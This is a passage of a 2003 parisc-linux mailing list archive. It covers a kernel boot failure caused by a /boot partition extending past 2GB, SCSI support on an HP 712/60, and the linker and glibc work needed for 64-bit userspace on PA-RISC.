List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18167

I tried to boot the linux kernel 2.4.20pa32, and it gave me this error:

Boot device can't seek past 2gb( ignore next error ).byteio_read: 
seekreed()return -1 excepted 2048
ext2_get:read errorError: open /kernel/linux/vmlinux from partition 2 
failed

any ideas?

Ricardo J Guevara




From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel boot error
Date: Thu, 3 Apr 2003 19:30:06 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030403183006.GG29376@parcelfarce.linux.theplanet.co.uk>
References: <4dfbf44c74795b8f.74795b8f4dfbf44c@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622359 24137 80.91.229.3 (22 Nov 2014 02:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ricardo Jose Guevara Ochoa <jguevara@unitec.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 11:30:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF3C64829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 11:30:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 1919TS-0005Qj-MQ; Thu, 03 Apr 2003 19:30:06 +0100
Content-Disposition: inline
In-Reply-To: <4dfbf44c74795b8f.74795b8f4dfbf44c@unitec.edu>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18168

On Thu, Apr 03, 2003 at 12:10:44PM -0600, Ricardo Jose Guevara Ochoa wrote:
> I tried to boot the linux kernel 2.4.20pa32, and it gave me this error:
> 
> Boot device can't seek past 2gb( ignore next error ).byteio_read: 
> seekreed()return -1 excepted 2048
> ext2_get:read errorError: open /kernel/linux/vmlinux from partition 2 
> failed

your /boot partition extends above the 2GB boundary.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ricardo Jose Guevara Ochoa" <jguevara@unitec.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel boot error
Date: Thu, 03 Apr 2003 12:35:02 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <2fc4027c1f9143c9.1f9143c92fc4027c@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622359 24139 80.91.229.3 (22 Nov 2014 02:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 11:44:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.unitec.edu (mail.unitec.edu [216.72.84.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57E1E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 11:44:50 -0700 (MST)
Original-Received: from unitec.edu ([127.0.0.1]) by mail.unitec.edu
          (Netscape Messaging Server 4.15) with ESMTP id HCS6AE00.PVO for
          <parisc-linux@lists.parisc-linux.org>; Thu, 3 Apr 2003 12:35:02 -0600 
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18169

> 
> your /boot partition extends above the 2GB boundary.
> 
> 

The server came with more disks, can i put the kernel in one of those 
disk, and boot from there?

thanks in advance,
Ricardo J Guevara



From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Thu, 3 Apr 2003 19:45:13 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20030403184513.GH29376@parcelfarce.linux.theplanet.co.uk>
References: <200304031512.35389.rodrigo@tteng.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622359 24144 80.91.229.3 (22 Nov 2014 02:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rodrigo Colao Merlo <rodrigo@tteng.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 11:45:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B4CE487E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 11:45:15 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 1919i5-0005pF-Aq; Thu, 03 Apr 2003 19:45:13 +0100
Content-Disposition: inline
In-Reply-To: <200304031512.35389.rodrigo@tteng.com.br>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18170

On Thu, Apr 03, 2003 at 03:12:35PM -0300, Rodrigo Colao Merlo wrote:
>  Hello,
>  I work for a software company in Brazil specialized in Linux 
>  development under contract by HP.
>  
>  We're currently working in a project that needs investigate what are missing 
> in kernel to run applications in 64 bits userspace. I need only known what 
> are missing in kernel and what kernel do you recomend ? 2.4 or 2.5 ? 

Yes, Leandro from HP Brazil kept posting asking that question.
Unfortunately, he kept on asking even after he'd been given a fairly
comprehensive list of things to do, so I think people couldn't be bothered
to tell him any more.

Probably the best list of things to do would be the thread starting at
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018911.html

As to which kernel to base it on; most of the work is kernel-independent.
It's all about making the toolchain work properly.  There's a certain
amount of work to do in the kernel, but there's some design work to do
up-front first.  It shouldn't be hard to do it to either kernel and then
port to the other.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel boot error
Date: Thu, 3 Apr 2003 19:46:05 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030403184605.GI29376@parcelfarce.linux.theplanet.co.uk>
References: <2fc4027c1f9143c9.1f9143c92fc4027c@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622359 24145 80.91.229.3 (22 Nov 2014 02:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ricardo Jose Guevara Ochoa <jguevara@unitec.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 11:46:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D64DD4880
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 11:46:05 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 1919iv-0005pg-6X; Thu, 03 Apr 2003 19:46:05 +0100
Content-Disposition: inline
In-Reply-To: <2fc4027c1f9143c9.1f9143c92fc4027c@unitec.edu>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18171

On Thu, Apr 03, 2003 at 12:35:02PM -0600, Ricardo Jose Guevara Ochoa wrote:
> The server came with more disks, can i put the kernel in one of those 
> disk, and boot from there?

certainly.  probably best to take a second disc, partition it properly
and make that the new root disc.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ricardo Jose Guevara Ochoa" <jguevara@unitec.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] Kernel boot error
Date: Thu, 03 Apr 2003 13:07:12 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <213d8fcf44c901e8.44c901e8213d8fcf@unitec.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622360 24149 80.91.229.3 (22 Nov 2014 02:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 12:17:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.unitec.edu (mail.unitec.edu [216.72.84.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65CCE4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 12:17:00 -0700 (MST)
Original-Received: from unitec.edu ([127.0.0.1]) by mail.unitec.edu
          (Netscape Messaging Server 4.15) with ESMTP id HCS7S000.8X8 for
          <parisc-linux@lists.parisc-linux.org>; Thu, 3 Apr 2003 13:07:12 -0600 
X-Mailer: Netscape Webmail
Content-Language: en
X-Accept-Language: en
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18172

Thanks!, i will boot the new kernel using another disc, but with the 
root of the old kernel, my Question if it will get the old 
configuration and boot as if where the old kernel(but the new) or it 
will change something?

Thanks in advance,
Ricardo J Guevara

----- Original Message -----
From: Matthew Wilcox <willy@debian.org>
Date: Thursday, April 3, 2003 12:46 pm
Subject: Re: [parisc-linux] Kernel boot error

> On Thu, Apr 03, 2003 at 12:35:02PM -0600, Ricardo Jose Guevara 
> Ochoa wrote:
> > The server came with more disks, can i put the kernel in one of 
> those 
> > disk, and boot from there?
> 
> certainly.  probably best to take a second disc, partition it 
properly
> and make that the new root disc.
> 
> -- 
> "It's not Hollywood.  War is real, war is primarily not about 
> defeat or
> victory, it is about death.  I've seen thousands and thousands of 
> dead bodies.
> Do you think I want to have an academic debate on this subject?" --
> Robert Fisk
> 
> 



From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] soft power and power light on 712/60
Date: Thu, 3 Apr 2003 14:55:15 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030403215515.GA20457@dsl2.external.hp.com>
References: <03Apr2.105446cest.119062@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622360 24152 80.91.229.3 (22 Nov 2014 02:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:40 +0000 (UTC)
Cc: 'Joel Soete' <jsoe0708@tiscali.be>,
	Derek Ellis <Derek.Ellis@us.fortis.com>,
	parisc-linux@lists.parisc-linux.org
To: "Beerse, Corn?" <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 14:55:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 03F394829; Thu,  3 Apr 2003 14:55:15 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <03Apr2.105446cest.119062@ns.hiscom.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18173

On Wed, Apr 02, 2003 at 10:35:56AM +0200, "Beerse, Corn?" wrote:
> The only reason I can imagine it should not work is addressing the
> boot-image from the boot-prom.
> 
> Or else, it should not be called scsi...

You are mixing up marketing, implementation, and "supported".
HP decided the older box wasn't worth supporting.
I'l hazard a guess the "upgrade" would not generate enough revenue
to offset the additional qualification/inventory/support burden.

And SCSI implementations are not always compatible because they
don't implement all the same features. Delayed spinup and
Target-Initiated Syncronous Negotiation are two SCSI disk features
that early host controller firmware typically have trouble with.

grant


From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Thu, 3 Apr 2003 17:19:33 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200304032219.h33MJY6B020051@hiauly1.hia.nrc.ca>
References: <20030403184513.GH29376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622360 24155 80.91.229.3 (22 Nov 2014 02:12:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:40 +0000 (UTC)
Cc: rodrigo@tteng.com.br, parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 15:19:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAA784829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 15:19:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h33MJZsQ020053;
	Thu, 3 Apr 2003 17:19:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h33MJY6B020051;
	Thu, 3 Apr 2003 17:19:34 -0500 (EST)
In-Reply-To: <20030403184513.GH29376@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Apr 3, 2003 07:45:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18174

> As to which kernel to base it on; most of the work is kernel-independent.
> It's all about making the toolchain work properly.  There's a certain
> amount of work to do in the kernel, but there's some design work to do
> up-front first.  It shouldn't be hard to do it to either kernel and then
> port to the other.

With respect to the toolchain, you should be aware that there are
two different GNU linkers.  The 64-bit linker was designed for HP-UX
operation and was written more or less from scratch.  The 32-bit
linker was ported I believe from the i386 port and is better
suited to linux use.  It has had more testing.  If the 32-bit linker
is ported to 64 bits, you will have to deal with the different
handling of function descriptors (OPDs).  This is also an issue
for the parisc specific code in glibc used for the dynamic loader.
Code to handle various 64-bit relocations would need to be added
to the 32-bit linker.  Management of stub groups might also be an
issue although the 32-bit linker currently does a better job of this.

The current 64-bit linker is broken in a number of ways.  These
problems might get fixed in the coming months but it would be nice 
if we could dispense with having two different linkers.  If
the current 64-bit linker is used for linux, then the problems
with link-once sections, symbol overloading, symbol visibility,
PHDRs, static links, etc., will need fixing.  Fixing these problems
could be 2-3 months work, or more, for someone who knows their way
around the linker.

What you need to do is to look at the parisc specific code in the
kernel, binutils and glibc.  Carlos O'Donell <carlos@baldric.uwo.ca>
did some hacking a few months ago to try to get a simple static linked
application to run in 64-bit mode.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Thu, 3 Apr 2003 17:52:28 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <20030403225228.GI7542@systemhalted>
References: <20030403184513.GH29376@parcelfarce.linux.theplanet.co.uk> <200304032219.h33MJY6B020051@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622361 24156 80.91.229.3 (22 Nov 2014 02:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:41 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, rodrigo@tteng.com.br,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 15:52:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33F984829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Apr 2003 15:52:54 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 191DZN-0003qj-00; Thu, 03 Apr 2003 17:52:29 -0500
Content-Disposition: inline
In-Reply-To: <200304032219.h33MJY6B020051@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18175

John,

> With respect to the toolchain, you should be aware that there are
> two different GNU linkers.  The 64-bit linker was designed for HP-UX
> operation and was written more or less from scratch.  The 32-bit
> linker was ported I believe from the i386 port and is better
> suited to linux use.  It has had more testing.  If the 32-bit linker
> is ported to 64 bits, you will have to deal with the different
> handling of function descriptors (OPDs).  This is also an issue
> for the parisc specific code in glibc used for the dynamic loader.
> Code to handle various 64-bit relocations would need to be added
> to the 32-bit linker.  Management of stub groups might also be an
> issue although the 32-bit linker currently does a better job of this.
 
Why was a 64-bit linker written for HPUX, couldn't the normal HPUX
linker have been used?

As for function descriptors, I think that I'll be reworking that code 
(glibc) in the next few months.... following somewhat what H.J.Lu 
has suggested and ia64 / PowerPC64 implement. This should make things 
easier to work with.

> The current 64-bit linker is broken in a number of ways.  These
> problems might get fixed in the coming months but it would be nice 
> if we could dispense with having two different linkers.  If
> the current 64-bit linker is used for linux, then the problems
> with link-once sections, symbol overloading, symbol visibility,
> PHDRs, static links, etc., will need fixing.  Fixing these problems
> could be 2-3 months work, or more, for someone who knows their way
> around the linker.

I think extending the 32-bit linker would be a better use of resources. 

> What you need to do is to look at the parisc specific code in the
> kernel, binutils and glibc.  Carlos O'Donell <carlos@baldric.uwo.ca>
> did some hacking a few months ago to try to get a simple static linked
> application to run in 64-bit mode.

Not true 64-bit since leaving the kernel doesn't mean the processor
stays in wide mode. I need to make some more kernel patches to
enable the start of a static 64-bit userspace.

I've pulled glibc into cvs.parisc-linux.org again, and I'll be 
updating frequently and championing our patches back to libc-alpha 
in the next month.

I think that before a 64-bit userspace gets started, I'm going to
be working at getting glibc to pass "make -k check" without failure,
followed by lots of TLS work so we keep up with the changes in glibc
for our 32-bit userspace :)

c.


From - Thu Nov 08 21:27:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Applications in 64 bits userspace
Date: Thu, 3 Apr 2003 19:02:29 -0500 (EST)
Lines: 57
Approved: news@gmane.org
Message-ID: <200304040002.h3402U4u020233@hiauly1.hia.nrc.ca>
References: <20030403225228.GI7542@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622361 24158 80.91.229.3 (22 Nov 2014 02:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:41 +0000 (UTC)
Cc: willy@debian.org, rodrigo@tteng.com.br,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  3 17:02:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
